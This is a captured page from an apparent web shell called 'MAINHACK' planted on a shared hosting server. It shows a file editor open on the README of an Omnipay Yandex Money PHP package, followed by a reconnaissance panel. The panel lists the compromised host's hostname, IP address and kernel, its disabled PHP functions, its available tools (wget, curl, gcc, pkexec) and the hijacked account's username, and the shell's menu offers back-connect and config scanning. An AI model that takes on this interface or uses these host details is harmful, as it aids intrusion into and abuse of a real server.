[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# Omnipay: Yandex Money **Yandex Money driver for the Omnipay Laravel payment processing library** [](https://packagist.org/packages/ptuchik/omnipay-yandex) [](https://packagist.org/packages/ptuchik/omnipay-yandex) [Omnipay](https://github.com/thephpleague/omnipay) is a framework agnostic, multi-gateway payment processing library for PHP 5.5+. This package implements Yandex Money support for Omnipay. ## Installation Omnipay is installed via [Composer](http://getcomposer.org/). To install, simply add it to your `composer.json` file: ```json { "require": { "ptuchik/omnipay-yandex": "~1.0" } } ``` And run composer to update your dependencies: composer update Or you can simply run composer require ptuchik/omnipay-yandex ## Basic Usage 1. Use Omnipay gateway class: ```php use Omnipay\Omnipay; ``` 2. Initialize Yandex gateway and make a purchase: ```php $gateway = Omnipay::create('Yandex'); $gateway->setShopId(env('SHOP_ID')); $gateway->setSecretKey(env('SECRET_KEY')); $gateway->setReturnUrl(env('RETURN_URL')); $gateway->setAmount(10); // Amount to charge $gateway->setCurrency('RUB'); // Currency $purchase = $gateway->purchase()->send(); if ($purchase->isSuccessful()) { // Do your logic } else { throw new Exception($purchase->getMessage()); } ``` 3. Initialize Yandex gateway and make a refund: ```php $gateway = Omnipay::create('Yandex'); $gateway->setShopId(env('SHOP_ID')); $gateway->setSecretKey(env('SECRET_KEY')); $gateway->setReturnUrl(env('RETURN_URL')); $gateway->setAmount(10); // Amount to refund $gateway->setTransactionReference(10); // Payment ID $refund = $gateway->refund()->send(); if ($refund->isSuccessful()) { // Do your logic } else { throw new Exception($refund->getMessage()); } ``` For general usage instructions, please see the main [Omnipay](https://github.com/thephpleague/omnipay) repository. ## Support If you are having general issues with Omnipay, we suggest posting on [Stack Overflow](http://stackoverflow.com/). Be sure to add the [omnipay tag](http://stackoverflow.com/questions/tagged/omnipay) so it can be easily found. If you want to keep up to date with release anouncements, discuss ideas for the project, or ask more detailed questions, there is also a [mailing list](https://groups.google.com/forum/#!forum/omnipay) which you can subscribe to. If you believe you have found a bug, please report it using the [GitHub issue tracker](https://github.com/thephpleague/omnipay-yandex/issues), or better yet, fork the library and submit a pull request.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285